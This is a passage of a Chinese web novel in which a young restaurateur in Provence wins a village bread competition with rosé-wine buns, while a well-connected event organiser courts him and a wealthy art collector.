桑松女士是普罗旺斯艺术界的资深买家,她猜这一定是哪个不识好歹的家伙,为了给自己增加噱头胡扯出来的头衔。 圆滑的论略特不敢直接顶撞他的上帝,不过还是很委婉的表达: “嗯,可能确实有些不务正业,不过和美食结合正是他的艺术特色,而且让他走的非常成功。” 桑松女士的眉毛微微皱起。 美食和艺术结合的艺术家? 似乎发展的还不错? 普罗旺斯有这种人吗? 突然,有个游客模样打扮的女孩拿着两个粉粉嫩嫩的‘团子’和几个粉面包从他们身边路过,桑松女士被吸引了注意力,问身边的略伦特: “这些是什么?” 略伦特卡壳了。 没有手下给他汇报过这次面包大赛里出现了这么特别的面包啊。 这是哪里展出的? 顾客就是上帝,为了解答桑松女士的提问,略伦特拦下了那名女孩: “请问这是什么东西,你在哪里买的?” 那游客指向了人群最密切的区域: “那里买的。” 略伦特哭笑不得的自言自语: “这个罗南啊” “罗南?”桑松女士突然调转了方向,“你是说罗南来了?” 略伦特心中一喜,笑着指中间位置: “对,罗南就是我跟您说来参赛的艺术家。” 桑松女士扶着黑色礼帽,挤入了拥挤的人流中: “那么特色的面包得给艾斯带回去尝尝。” 在戈尔德系列活动中,桑松女士也是‘相思鸟’的强有力竞争者。 罗南这个名字已经深深的印入她的脑海中。 对于藏家来说,见到喜欢的艺术家就像是遇到了偶像一样开心和幸福。 可当桑松女士挤入人群,看到那个展区里的情形后,开心和幸福马上加倍——那里居然还有她另外一个喜欢的艺术家佐伊! 不过很快,她的惊喜来到了第三重。 “这些是什么面包啊,太可爱了。” 桑松女士被一摞摞粉色的包子和面包迷失了心智,似乎回到了自己17岁少女时的那个夏天。 事实上,对这个展示区感兴趣的人也大部分是女性。 桑松女士的脸上终于露出了笑容: “你的活动办的很不错啊,略伦特。” 略伦特笑容满面的看向忙碌的罗南。 这个小伙子真不错啊。 未来有大用! 第439章 罗南未来就是我的好兄弟了! 罗南一眼便看到了人群中的略伦特和桑松女士。 和周围的游客相比,这两位穿着太正式了,像是要来开会一样。 略伦特出现并不让罗南意外,他是这个活动的主办方。 但在这里见到桑松女士让罗南意外极了。 参与‘相思鸟’竞拍的藏家太多了,能让罗南记住的没几个,其中就有这位在今年进入第七段婚姻,未来这个数字很有可能继续攀升的本土实力藏家。 除了她的个人生活给罗南留下了深刻的印象,还因为在竞拍现场,她和罗德里格先生共同演绎了一场令人闻风丧胆的‘跳价’大战。 佐伊和桑松女士也颇有‘渊源’。 帕特里西亚小姐找佐伊定制的第二件艺术品,就是要送给老船王的小孙女,按照辈分讲,那位小姐要叫刚刚40出头的桑松女士‘祖母’。 在戈尔德,桑松女士曾向罗南发去过吃饭邀约,罗南找了个借口推脱掉了,说几天后再约。 几天就这样变成了几个月.再次见面,心虚的罗南格外的主动和热情。 他走出了展台,和桑松女士进行了正式的贴面礼: “好久不见桑松女士,再次见到您实在太开心了。” 桑松女士热情的回应: “你在这里出现也让我很意外。” 桑松女士又和佐伊进行了相同的礼仪,三人像老朋友一样交流起来。 一边的略伦特不停打量和桑松女士谈笑风生的罗南。 事实上,他还想要提醒罗南,这位女士在普罗旺斯的重要地位.千万不能冷落了她。 没想到罗南直接将他‘冷落’了。 在上一次卢尔马兰的会谈中,略伦特就隐隐觉得罗南是一个非常懂得‘人情世故’的年轻人,现在他更加肯定了想法。 桑松女士和佐伊聊起了她‘孙女’的生日礼物,罗南终于有功夫理一理略伦特了。 “你好略伦特先生,今年的比赛实在太热闹了。”罗南记得去年的面包大赛并没有那么多游客来参观,今年整体的人流量增加了。 略伦特还是那副一张嘴就让人身心舒服的老样子,他热情的和罗南拥抱了一下: “当然是因为你这位大艺术家来了,游客们都是来看你的!” 他附在罗南耳边,轻轻拍了几下他的后背: “为了表达感谢,待会的比赛你‘一定’会取得不俗的名次,我也会尽量给足你曝光。” 面包大赛的比赛流程非常简单,评审们品尝每一个展位的面包并给予打分,综合评分最高的就是冠军了。 冠军展区内会摆有一面代表获胜的旗子。 罗南也拍了拍略伦特的后背: “能来参加就是我的荣幸,比赛什么的不重要。” 罗南说的是实话,绝不是客气。 粉色面包已经吸引来许多游客的目光,那面代表获胜的旗子对他的作用不大。 而且略伦特口中的‘曝光’,也不是罗南所需要的。 从实际角度出发,这个展区才是罗南更加看重的地方,他可以肆无忌惮的在这里宣传卢尔马兰的餐厅和斯特斯加,没有任何顾忌。 略伦特给的曝光一定是和面包大赛相关的,说不定是什么杂志采访。 对着摄像机,他如何口无遮拦的说些别的呢? 他又不是专门卖面包的,不能提餐厅又不能提斯特斯加,这个曝光的意义非常有限。 罗南只希望能安安心心的留在这里打广告,最好别给他过多的关注度。 不过罗南的想法不能代表所有人。 在面包长桌的后面,大块头托尔吆喝的格外卖力: “大家快来尝尝全吕贝隆最好吃的面包!” 面包大赛不禁止‘拉客’行为,甚至鼓励大家多多宣传,因为主办方也希望活动办得热热闹闹的。 托尔见其他的选手都在吆喝,也开始吆喝了起来。 托尔个头大、嗓门粗,在他的带动下,跟着一起来帮忙的罗天海和莉亚也行动了起来,拿着试吃热情的递给来围观的游客们吃: “快来尝一尝,它不止好看,更加好吃!” 略伦特看了看四周卖力宣传的人,对罗南眨了眨眼睛: “我明白,我明白!” 你确定自己没有‘争强好胜’吗? 整片区域里就属你这里吆喝的最大声了。 罗南笑着解释: “能在这里展示面包我就很满足了,你不用‘麻烦’。” 千万不要给我安排什么采访啊,求求你了! 说话间,消失了许久的歌迪亚等几个女孩出现,她们在梅纳村转了一圈,发现还是面包大赛这里最热闹。 见罗南这里的人都在吆喝,她们也不由分说的吆喝了起来.必须得给之前的‘缺勤’弥补一下啊。 “来看看我们的蟹肉面包,番茄的红、蟹肉的白、橄榄的墨绿,快看,多么像是梵高的笔触啊,试问谁不想尝一尝呢!”画家薇薇安‘专业’的介绍着。 “这款叫豆沙包,面皮像是被反复展开又折起的信纸,里面的豆沙绵密、朴素、甜得恰到好处,请相信我,那是最适合夏天的味道。”宝莱特也不甘示弱的展示着自己的实力。 “先生女士们,是不是已经逛累了?快来我们这里品尝一下真正的‘面粉暴动’,它会唤醒你一天的味蕾!”歌迪亚摇头晃脑的喊。 托尔从来没有参与过这么有趣的事情,他双手成筒状放于嘴前,开心的大喊: “这里有最好吃的面包,最好吃的面包,最好吃的面包在这里!!” 正和桑松女士聊天的佐伊发现了周围的动静,她一边继续和桑松女士聊天,一边把手里的托盘递过去: “尝尝我们的肉松面包和流沙包吧,它的味道一定会让你记忆犹新。” 略伦特抢了一块试吃放到嘴里,还没开始咀嚼便开始夸赞: “这粉嘟嘟的‘面包’叫流沙包吗?它的味道太好吃了,罗南,你这里的面包真的让我记忆犹新啊。” 见未婚妻都下场了,罗南笑着摇了摇头,拿出了和托尔一样的气势: “先生、小姐、女士们,快来尝一尝我们这里用粉红酒制作的面包和包子吧,我发誓这一定是你们在其他地方没有吃到过的味道,因为只有普罗旺斯的粉红酒才能做出那么棒的面粉香气,如果吃的不过瘾,可以去卢尔马兰我们的中餐厅,那里有几十种你们在其他地方吃不到的特色美食,请记住,吃饭的时候一定要搭配着喝斯特斯加的粉红酒,在夏天他们是最合适的!” 小情侣和略伦特、桑松女士简单聊了几分钟便匆忙的结束了对话.投入到了接待顾客的行列当中去。 两位贵宾没有马上离开,而是在罗南的展示区又待了一会。 略伦特没有移动脚步,是因为桑松女士没有离开的意思,即使她把这里每一种面包都买了。 而桑松女士不离开,是因为她根本就不是来买面包的。 罗南目前在市面上只有一件作品,那便是放在艾克斯格拉内博物馆永久免费展出的‘相思鸟’,除此之外,普罗旺斯藏家没有一个人拥有他的作品。 如果,桑松能够通过一些手段得到一件罗南亲手制作的艺术品,那可能会掀起普罗旺斯艺术界的一股小小的旋风要知道戈尔德系列活动结束后,普罗旺斯艺术界平静太久了,是时候增加一些猛料了。 但想要达成这个目的,需要和罗南的关系再近一步。 即使无法和罗南混熟,也要和他的女朋友佐伊混的熟些。 桑松女士想和佐伊约一个可以继续接触的机会,正在想如何开口呢。 略伦特早就看明白了眼前的局势,主动给桑松女士解惑: “想要和这些艺术家混熟不是那么容易的,你看,他们的身边永远不缺崇拜者,因为他们足够的优秀不过如果在一些特殊的场合给他们制造一些意外的惊喜,那么情况也许会大不同呢。” 略伦特是什么人桑松女士非常清楚,她现在想要做的事情,正巧需要有一个这样的人从中‘帮助’: “怎样的意外和惊喜?” 略伦特微笑着说: “就比如让他们知道自己的奖牌是在某位夫人‘强烈’要求下颁发出去的。” “我可以吗?”桑松女士思量了几秒问。 “我们去别的地方说吧,这里人太多了。”略伦特贴心的给她开路,“以您的身份,成为我们的面包大赛的评审,简直是轻而易举。” 桑松女士似乎已经把离不开她的老船王艾斯忘了,追问道: “作为重要的‘颁奖嘉宾’,我可以和罗南有更多的接触吗,例如午饭或者晚饭机会?” 略伦特细心的保护桑松女士离开: “那是自然,我会亲自帮助您去邀请罗南,并为你们安排吃饭的场所。” 桑松女士的笑容忽地绽放,似乎知道老船王为什么连续这么多年资助这个面包大赛了: “我回去会跟艾斯说,也许可以考虑一下那个马赛鱼汤奥利匹克大赛。” 略伦特突然‘哎呀’了一声,似乎是忘记了什么重要的事情: “女士,我恐怕等不到7月份了,因为在5月份有一个甜品大赛,罗南也会参与那个活动,我记得艾斯先生也喜欢吃甜品?” 桑松女士露出心照不宣的笑容: “那太棒了,艾斯确实喜欢吃甜品,他一定会感兴趣。” 略伦特脸上的笑容已无法掩饰。 罗南不仅吸引来了一个专门做高端葡萄酒的‘新酒庄联盟’,还吸引来了财大气粗的桑松女士和她的丈夫。 这些业绩可以全部记在他的头上! 下个月由他发起和策划的普罗旺斯第一届甜品大赛绝对可以做的‘群星璀璨’,他距离沃克吕兹省美食界‘龙头’地位又进了一步。 略伦特回头看了一眼正在忙碌的罗南。 需要和罗南打好关系的不止是桑松女士一个啊。 罗南未来就是他的‘好兄弟’了! 为了将来拿到更多的重要资源和人脉,略伦特开始考虑,是不是要给罗南在‘沃克吕兹说美食联盟’里安一个什么职位了。 有略伦特在一旁协助,罗南的成绩自然很不错。 事实上,略伦特每年都会‘照顾’一些选手,评委们也都习以为常了。 不过今年略伦特吩咐大家‘照顾’的选手,有着不俗的实力,即使没有那层关系也绝对是强有力的竞争者。 因此,每一位评审在罗南这里品尝之后都会给予极高的评价,可能是之前几届比赛憋坏了。 吃过午饭,组委会的工作人员通知罗南去广场中央拿旗子。 罗南找到还在卖力吆喝、丝毫不知疲惫的托尔: “托尔,你去广场领奖去!” 今天‘胜负欲’最强的就是托尔。 刚刚工作人员过来,托尔听到他们可以去拿旗子,激动的都跳起来了。 托尔的脸一下子红了,疯狂摇头: “不不不,我不去,这是给你的奖啊,我为什么去。” 罗南笑着推他: “你当然可以去,在面粉里加入粉红酒的创意是你想出来的,这些包子也是你和我一起做的,而且今天喊的最卖力的就是你。” “托尔快去!”莉亚一边利索的切面包,一边说,“巴黎可没有这么有趣的活动,而且还是第一,你去体验一下。” 罗天海对托尔摆手: “快去快回。” 歌迪亚等几个女孩子也七嘴八舌的催促托尔作为代表去拿旗子。 “你个子最高,最有气势,奥运会比赛举旗子的人都是个子最高的。” “你不去谁去,今天广场上就属你的嗓门最大,你快去那边也给我们做作宣传。” 罗南把托尔带出展示区,鼓励他道: “你就去吧,你是最合适的人。” 托尔心情复杂的看着这些人。 他第一次觉得.自己似乎挺重要的? 怀揣着激动、好奇又紧张的心情.托尔转身离开: “好,我去!” 托尔去了好久好久,至少去了快2个小时。 久到罗南都想去看一看他了。 拿个旗子怎么需要这么久呢? “不要担心,或许被好玩的事情吸引了。”佐伊安慰罗南。 拿旗子的地方也在广场范围里,绝对没有迷路的可能性。 今天来的这些人都知道几天前托尔在卢尔马兰的事迹,歌迪亚也安慰罗南: “梅纳村比卢尔马兰还有意思,可能是被什么牵绊住了,他今天一天都在这里,还没有出去转转呢。” 歌迪亚等人和托尔玩了好几天了,多少了解了些罗南这个同学的性格。 面包大赛就够他玩好一阵子,而离开了广场区域还有一整个金三角梅纳村。 这里足够托尔晚上两天两夜! 薇薇安用开玩笑的语气说: “说不定又去跟什么团了,可能下午才能回来呢。” 周围人笑作一团,只有罗南叹了一口气: “他对今天的比赛这么看重,不应该啊。” 又过了一会,一面绣着金黄色麦穗的旗帜在广场飘扬了起来,并快速向着罗南这个摊位靠近。 人群自动分开一条缝隙,模仿着火炬手动作的托尔气喘吁吁的跑回到了这里: “我回来了!” “你去哪儿了?”罗南看托尔的样子不像是去玩了。 托尔兴奋的挥舞起旗帜,就像他无法平复的心情一样: “拿完旗子,他们对我进行了一次采访,这是我第一次接受采访,他们跟我说,我说的话可以让全普罗旺斯人看见。” 罗南瞪大眼睛,不敢相信自己的耳朵。 上帝啊,略伦特先生真给他安排‘曝光’了? “他们问你什么了?”罗南有些紧张的问。 托尔嘿嘿笑着说: “他们什么都没问,让我自己说,说我想说什么都行。” “那你说什么了?”罗南继续问。 托尔拍着罗南的肩膀说: “我讲了我们的粉红酒面包和包子、讲了面包也可以搭配粉红酒吃、讲了大家如果喜欢这些包子和面包可以去你在卢尔马兰的中餐厅继续吃,还讲了粉红酒是普罗旺斯的特色,如果要喝一定要喝斯特斯加的!” 托尔是来普罗旺斯玩的,这个比赛是什么性质他可能了解的都不是很清楚。 人家让说什么,他就口无遮拦的说了。 当然了,他说的这些话都是罗南曾经说过的,细心的托尔把他们全部记住。 托尔一副求夸赞的表情: “我讲的都是你在意的!” 见罗南一副哑口无言的表情,托尔问: “我说错了?” 罗南摇了摇头,笑着说: “没有没有,你讲的非常对,这些都是我们来参加比赛的目的!” 罗南本就对这次曝光没有什么预期。 托尔说了‘不合适’的东西就说了吧,不打紧。 那是组委会要头疼的事情了。 距离这里200多米的办公室里。 组委会的工作人员头疼的问几位领导: “那位先生说了太多‘无关紧要’的东西了吧?我们是不是要对其做出一些取舍呢?” 一位秃头的中年人为难的看向略伦特,他清楚知道罗南是略伦特的人: “我先通知报社进行删改,把和面包大赛无关的东西都删掉,只是删改过后需不需要再拿给这次的冠军看一看?” 刚刚结束和桑松女士愉快会谈的略伦特无所的挥舞了一下手掌: “大家不要那么紧张,这次采访是我‘置换’来的,没有花组委会的一分钱,免费的东西,再给报社的伙伴增添烦恼,让他们修修改改,是不是有些过分了?那会影响我们之间的关系.我的建议是不要删改了,里面也有面包大赛的内容啊,而且占了不小的篇幅。” “这——”大家你看看我,我看看看你,一时拿不定主意。 略伦特笑着对大家说: “好了朋友们,我约了梅纳村的村长一起吃晚饭,有人要一起去吗?让政府给予我们更多的帮助才是现下更加重要的事情,不要在这种小事情上费神了。” “你约到了阿道夫?”那位秃头的美食协会官员惊呼。 略伦特自信的摊手: “当然了,我们是十几年的老朋友,下次有需要尽早跟我提,你看你们搞了半个月搞不定的事情,我一个电话就搞定了是不是?” 周围陷入了一片喜悦的气氛之中,完全忘记了这次碰头本该讨论的是什么。 略伦特‘气定神闲’的喝了一口咖啡。 他在意的从不是这些眼花缭乱的美食活动,而是通过这些活动获取的人脉和资源。 你看,刷罗南好感度的机会这不就来了吗? 第440章 上头条了! 稍晚一些。 略伦特挑选了一个游客流量较低的时间段来到罗南的展示区。 寒暄过后见人还不走,而且这已经是今天他第二次来了罗南主动问道: “您是有什么事情找我吗?” 略伦特露出了一个为难的苦笑,很是‘歉意’的说: “给你约采访本是想帮你获取到更多的曝光机会,但组委会那些冥顽不灵的家伙要求把采访内容做删减,不过请放心,今晚我会请那几个老家伙吃饭.一定让他们松口。” 罗南连忙走过去,表情复杂的说: “您已经帮了我许多,不用再为我费心了。” 略伦特用力捏了两下罗南的胳膊,一脸严肃: “你是我请来的贵宾,我当然要保护你的权益,而且我们是朋友啊这是义不容辞的事情。” 罗南还要开口说什么,突然有工作人员跑来,焦急的对略伦特说: “先生,车已经到了,大家都在等您过去呢,晚宴的时间快到了。” 略伦特对手下挥了下手,而后附在罗南的耳边小声说道: “你的事就是我的事,我一定尽力!” 说完,他‘英勇就义’般离开了这里,消失在罗南的视线中。 略伦特的两次到访对罗南来说只是一天中再微不足道的两次小插曲,这一天中他们接待的顾客、见到的人实在太多了。 早上带来的面包、包子和粉红酒在午饭过后不久便销售一空,还好罗南看情况不对劲提前给餐厅打去电话,让他们又准备了一批面包和粉红酒送过去。 下午离开梅纳村,罗南没有时间休息,立即回到餐厅去教妇女们做包子。 这样如果明天的情况依然不错,他可以打电话让妇女们连同面包和包子一起补货,找人送去梅纳村了。 佐伊和托尔都留下来帮助罗南一起为明天做准备。 三个年轻人有说有笑,气氛很是轻松。 “我发现今天临时补货了的摊位不止我们一个,好几个摊位都在下午补货了。”佐伊把头发利落的扎到脑后,这是她认真干活时才会出现的发型。 以前这个发型只会在工作室里出现,现在它也会出现在厨房中了。 罗南一边切菜一边说: “看来‘游客提前到来’是我们错误估计了形势,是普罗旺斯的游客量整体激增了。” 今年面包大赛的流量绝对比去年的大,罗南猜应该不是面包大赛的宣传力度增加了,而是来普罗旺斯游玩的人数整体增加了。 托尔认真和面,头都不抬的说: “今年同事们提普罗旺斯的频次明显增加了,电视里也经常播出这里的内容,还有,跟我一起坐火车来的游客比去年多了许多。” 他开心的捶了两下柔软的面团: “来卢尔马兰的车也多了!” 在这件事情上,巴黎人更加有发言权。 生活在普罗旺斯本土的居民评估热度只能看人头数,而生活在其他区域的人评判热度的维度就丰富多了。 罗南扭了扭脖子,又舒展了一下腰肢: “真正的普罗旺斯‘热’要开始了。” 此刻被本地人‘痛恨’的旅游季并不是它最疯狂的样子,罗南记得,真正的普罗旺斯旅游狂潮是在1990年前后到来的。 任何事情发展都需要一个循序渐进的过程。 未来几年,普罗旺斯只会拥有越来越高的热度,吸引到越来越多的游客。 罗南比其他人更加了解未来的趋势,需要提前布局了。 “我们要抓住这个机会。”佐伊和罗南心有灵犀,想到一起去了,“被动等待游客光顾是远远不够的,我们要主动出击,类似面包大赛的活动要多多参与,除此之外还要想些其他的办法。” 佐伊是一个主动的女孩,追求罗南时就看出端倪了。 “想要同时让餐厅和斯特斯加获益,最好的方式是参加那些和美食相关的活动了,就比如面包大赛,你看,我们今天吸引来了多少顾客?又卖出了多少粉红酒?”但罗南不满足于现状,似是询问又似喃喃自语道,“别的还能有什么呢?” “参与更多的集市!”托尔大声回答。 罗南用力将菜刀剁到菜板上: “没错,尽可能多的参与集市,把集市规模化,甚至可以专门成立一个小团队去做这个!” 对于现在的罗南来说,申请各地的摊位已经不是什么难题,他的人脉足可以让他的摊位进入每一个大型村落或者城镇的集市,缺的只是人手。 罗南今年正打算把集市彻底的交到妇女们手里,不如直接做个大的——拉一个队伍专门做集市。 佐伊用手背擦了擦罗南额头上的细汗: “等装修结束,我就去参加活动,应该也有许多可以宣传的机会。” 戈尔德系列艺术活动之前,佐伊就已经是普罗旺斯各项艺术活动的宠儿了。 戈尔德艺术活动后,向她发来邀约的活动不计其数,而且不止局限在艺术领域,文化和时尚活动的主办方也看上了外形出众的佐伊。 这几个月,佐伊没有参与过任何艺术活动,也没有再发布过作品,歌迪亚说,有主办方愿意用‘天价出场费’邀请她去艾克斯参加品牌活动。 现在的佐伊已经拥有了选择的权利,她可以精挑细选一些既可以让自己获益,又能帮助罗南的活动了。 罗南凑过去亲了亲佐伊的额头: “普罗旺斯的‘明珠’要复出了!” 室内区域和室外区域的家具已制作完,小情侣现在在等游泳池的完工,之后再去买一些成品家具和配饰,新房的装修便彻底结束了。 而我们美丽、善良、贤惠的佐伊,又要去闪耀普罗旺斯了! “有帮手真好啊。”罗南笑着看了看佐伊,又看了看托尔,“大家集思广益,事情肯定能办成。” 佐伊俏皮的挑眉: “那是当然,人多力量大。” 托尔配合的用力锤击起面团: “对,力量大!” 罗南低头继续工作,思路变得愈发清晰: “等复活节结束,我去找一趟布兰科,他一定有更多更好的办法可以帮助我们。” 第二天一早。 罗南、罗天海和托尔和前一天一样,早早的起床,吃完早饭继续去梅纳村。 普罗旺斯的早餐既丰富又惬意。 罗天海习惯一边看报纸一边吃,而不看报纸的罗南和托尔可以出去慢慢悠悠的遛个狗,再看看初夏的美丽清晨,等他们回家就到了‘差不多’可以出发的时间。 不过今早,罗南和托尔准备离开家,罗天海突然喊了一句‘等等’。 “怎么了?”已经站到门口的罗南抻着脖子对屋里喊。 回答他的是一道匆匆忙忙的脚步声。 罗天海隔着三米便开始指着手中《普罗旺斯日报》的某一页说: “这上面有我们。” 罗南把报纸接过来,看到了一个巨大的标题——《第27届普罗旺斯面包大赛冠军揭秘》。 几秒钟后,罗南一把抱住已迫不及待出去遛狗、在门口焦急等待的托尔: “托尔,你说的太棒了!!” 同一时间。 戈尔德某私人住宅内。 硕大的餐桌边,一个女佣正在给一位头发花白的老妇人喂饭。 那妇人眼神呆滞,像机械一样没有感情的咀嚼着。 在她们对面,头发乌黑、精神抖擞的略伦特放下咖啡杯,拿起手边的报纸问: “亲爱的埃尼莎,你今天想要听些什么?嗯.我们来听听《第27届普罗旺斯面包大赛冠军揭秘》怎么样?我猜那一定非常有趣!” 略伦特翻到某一个版面的头条位置,那里有一张绣着金黄色麦穗的旗帜照片: “哈哈,埃尼莎,你猜这篇文章的副标题是什么?” 他指给妻子看: “这篇文章的副标题是——冠军配方是普罗旺斯的粉红酒!这太有意思了是不是?” 略伦特心情非常不错的大声朗读起来: “在昨日落下帷幕的第27届普罗旺斯面包大赛上,来自卢尔马兰的选手凭借别出心裁的‘粉红酒面包’摘得桂冠,令人意外的是,这位冠军在领奖台上毫不掩饰地宣称——‘没有斯特斯加的粉红酒,就没有这次的冠军面包!’。” 当天下午。 距离戈尔德50公里外的阿维尼翁。 挂着镀金吊灯的宴会厅里,小姐太太们一边喝着精美的下午茶,一边聊着近期在普罗旺斯发生的有趣事情。 “你们看今早的《普罗旺斯日报》了吗?那里有一整个版面用来介绍面包大赛,但那冠军却用了一半的篇幅宣传粉红酒和那个叫斯特斯加的酒品牌。” “我看到了,看那篇报道时,我先后确认了三次文章标题.甚至怀疑那是某个品牌商做的植入。” “咦,阿斯特丽德,你怎么笑的那么开心?要再来一杯红茶吗?” “你忘记了,阿斯特丽德夫人不喜欢喝茶。”有人在旁边小声提醒。 “哦,对对对!”那位‘多嘴’的小姐赶紧低头,像是做错了事情的喵咪。 某位夫人很给面子的把杯子递过去,微笑着说: “谢谢,再给我倒杯茶吧。” 另一边,小姐和太太们的茶话会还在继续。 “那位冠军不止宣传了斯特斯加粉红酒,还邀请大家去他们的餐厅喝一杯,赤裸裸的,没有一丝掩饰!” “你们说的原来是那家中餐厅啊,整个卢尔马兰就属它最红火,我中午刚从那里回来,等了一个多小时都没有等到位置。” “真的假的,普罗旺斯有需要排那么久队的餐厅?” “喂喂喂,你们的重点怎么在那里,重点难道不应该是,怎么会有人敢在面包大赛上那么赤裸裸的宣传粉红酒这种东西啊?” 叽叽喳喳的议论声中,阿斯特丽德心情非常不错的用勺子敲了敲杯子,眼前出现了一个人影: “果然是个‘疯子’.” 面包大赛要举办3天。 这3天罗南都会亲自带队去梅纳村展示他们的作品。 也就是说,罗南没有机会看到复活节小假期下的卢尔马兰。 如果罗南有机会待在卢尔马兰,看到街道上比四处找托尔那天又多了近一倍的人流量.一定会毫不客气的说一句—— “卢尔马兰和金三角的差距是不是越来越小了?”希尔维每一天都会出来视察,但每一天又都会忍不住问出同样的问题。 不过今天的情况有些不同。 以前她是一个人出来看,今天她是跟着大部队一起出来。 问出口她就发现事情不对劲,但想撤回也来不及了,只能不停的吐舌头,既希望昆西能不计较她这个可爱的女人。 昆西压根就没看希尔维。 他在卢尔马兰驻扎了这么多天,为的可不是看什么女人,而是观察这座重要的村子。 “是的,差距已经缩小了不少,卢尔马兰的游客量目前排到了第二梯队的位置,而上一个复活节,卢尔马兰在倒数的位置。”昆西远远看着人头攒动的游客中心,问身边的布兰科,“游客中心扩建计划现在进行到哪一步了?应对游客的基础设施建设要抓紧啊。” 卢尔马兰的知名度和人流量都有巨幅的提升,但基础建设的脚步有些跟不上节奏。 布兰科揉了揉眼角: “我们刚刚拿到第二笔拨款,斯特斯加的厂房着急兴建,卢尔马兰城堡着急翻新,这些都是更着急的事情。” 昆西想了一下: “我会去催促第三笔款项尽快到位,你这里也抓点紧。” 一行人围着卢尔马兰转了一圈,最后一站才是商业街。 其实他们的第一个考察目标就是这里,但商业街里的人实在太多了,第一次他们都没有走进去。 结果转了一圈.路口依然堵着许多人。 “不是改进了博物馆的检票流程了吗,怎么还有这么多人在路口堵着?”昆西继续提出问题。 博物馆刚刚试营业不久,暴露出了许多问题。 昆西清楚记得,卢尔马兰政府汇报了好几次要简化检票流程和入场流程,之前的步骤不够简洁,造成了游客‘拥堵’。 负责人希尔维马上回答到: “我们已经完成了改进,现在路口的这帮人不是排队去博物馆的。” 昆西皱着眉毛问: “那他们堵在这里是想去哪里?” 希尔维露出一抹得意的兴奋,指着商业街里面说: “他们都是去吃饭的!” 第441章 明年再见! 梅纳村距离卢尔马兰非常近。 不堵车的情况下,只需要十多分钟的车程。 虽然旅行季带来了无法躲避的堵车,但很多去过梅纳村的游客还是会禁不住诱惑再去一趟卢尔马兰。 有一部分人是通过《密法尔指南》和各类南法旅行讯息,知道吕贝隆出现了一个艺术气息浓厚的‘新村庄’,想要一探究竟。 还有一部分游客是参与完梅纳村的面包大赛,被罗南等人转化而来的。 两个村子距离这么近.要不然去卢尔马兰看看? 都到卢尔马兰了,不如再去那个餐厅打个卡,不吃饭去看看也好啊。 咦,这里怎么这么多人排队? 那味道一定是极好吃的而且这里不仅有面包,还有普罗旺斯不常见的中餐和各类甜品。 我们要不然也尝尝?反正来都来了。 一行人一拍即合: “请给我拿一个号码谢谢!” 伊莎贝尔热情的把号码牌给递给顾客,同时熟练的说: “这里有免费的水提供,可以随时过来取,估计你们要等1个多小时,可以先在商业街上转转,也可以去隔壁街试试做编织礼物,体验时间正合适,如果不嫌累就去葡萄园转转,这些都是卢尔马兰非常不错的游玩项目。” 不远处,昆西看的目瞪口呆。 罗南现在的产业都成了‘一条龙’了? 涉及吃喝玩乐各行各业,等斯特斯加建成还会多一个住宿。 果然是卢尔马兰最重要的村民! 餐厅四周格外拥挤,昆西像海里的‘浮萍’一样左右摇晃: “怎么突然多了这么多人来排队?” 罗南的中餐厅确实是卢尔马兰村里很重要的场所,但也不应该比粉红酒博物馆还火热啊。 这里又不是什么旅游景点。 没有人能挤得动像小木桶一样的希尔维,她一动不动的回答: “罗南在梅纳村获得了一个什么美食活动的冠军,还在那里宣传了斯特斯加和餐厅,有不少人是从梅纳村专程过来的,您应该知道,复活节假期中的梅纳村里有多少人。” 看着即便大汗淋漓也不忍离开的游客,昆西问布兰科: “你和罗南聊过扩店的问题吗?” 罗南的餐厅根本接待不完这么多的游客,排队时间太久,一定会造成游客在卢尔马兰游玩的体验感降低。 说不定会投诉到沃克吕兹省旅游局 他们费了多少心力才把卢尔马兰推广出去啊。 必须解决这个问题。 布兰科摇头: “优先级更高的事情太多了,轮不到这里。” 昆西险些被人潮推走: “商业街的二期三期呢?” 布兰科继续摇头: “要轮到年底才能开始筹备,还是那句话.用钱的地方太多了,要一个一个来。” 你以为我不想给罗南扩店吗? 给这个小子的所有‘投资’都是十倍百倍的回报。 问题是现在条件不允许。 昆西抓住一根电线杆,焦急的说: “没钱继续申请啊!” 基础建设可以按部就班的来,但这么重要的‘地标’性场所升级刻不容缓。 “可是距离我们上一次申请才过去了2个多月。”布兰科也被游客撞的跳起了探戈。 “有规定申请的间隔吗?”昆西努力保持平衡,“快去准备下一轮的申请!” 另一边,梅纳村。 罗南不知道他真正的‘恩人’、财大气粗的沃克吕兹省旅游局在背地里又帮了他一把。 正在赶往组委会,感谢帮助他留下完整报道内容的略伦特先生。 略伦特虽然人圆滑了一些,大多数情况下也不够真诚,但办起事情来绝不含糊,大事小事他全能搞定。 尤其这位先生和政府各个部门的关系都不错,罗南必须要维护好和他的关系。 一见到正主,罗南便既感激又真诚的说: “又让您费心了!” 略伦特很是无所谓的挥了挥手: “我说过,你的事就是我的事,不需要感谢啊罗南,请相信我,我绝不会让你吃亏的。” “等面包大赛办完,我去戈尔德请您吃饭,再好好喝两杯。”罗南又补了一句,“等您不忙的时候。” 面包大赛后,普罗旺斯的各类美食活动就将一个接一个的举办,相信这位先生会格外的忙碌。 “估计我们这杯酒要过一阵子才能喝到,五一鲁西永的活动场地已经开始搭建,我要马不停蹄的赶过去。”略伦特突然一副‘灵机一闪’的兴奋表情,“不过我很早前和桑松女士约了一顿晚饭,早早的把时间留下来了,就在三天后,我看你和桑松女士也很熟悉的样子,不如大家一起?人多热闹啊,尤其是你们这种年轻人的加入。” 略伦特‘两头通吃’的习惯,罗南早在上一次他带伯纳德来卢尔马兰吃饭时就领略过了。 不过略伦特确实帮了他一个很大的忙,罗南不习惯欠人情,痛快的答应下来: “没问题,只要桑松女士不介意,我一定出席。” “那可太棒了,我把餐厅的地址给你。”略伦特笑容满面的说。 桑松女士怎么会介意? 她每天都催着我约你呢! 有了这次面包大赛的愉快合作,罗南和略伦特的关系明显变近了。 罗南没有着急离开,略伦特也想和罗南加深关系,两个人又聊了好一会。 话题自然离不开美食领域。 “这次面包大赛很成功,广场里的人从来没有少过。”罗南指着临时办公室的窗外说,“而且来的美食界大咖也很多,这几天有许多餐饮老板、著名大厨到我的展示区,听说里面还有米其林的。” 展示区来来往往的行人和游客无数,罗南当然不可能知道他们每一个人的身份。 是雅克先生给他打电话,说许多同行都来品尝了他的‘粉红酒面包’,行业内对他的另类美食非常关注,他才知道这些信息。 “其实还可以更好的。”略伦特有些不满的说,“梅纳村政府对这个活动并不够重视,只免费提供了场地和一些基础的协助,宣传是普罗旺斯美食协会和沃克吕兹省美食同盟来做,如果他们愿意和我们配合,多做一些事情,我相信面包大赛的影响力会更大,我们也有信心把活动时间拉长一些,三天还是太仓促了。” 略伦特曾经给罗南介绍过普罗旺斯美食活动的等级。 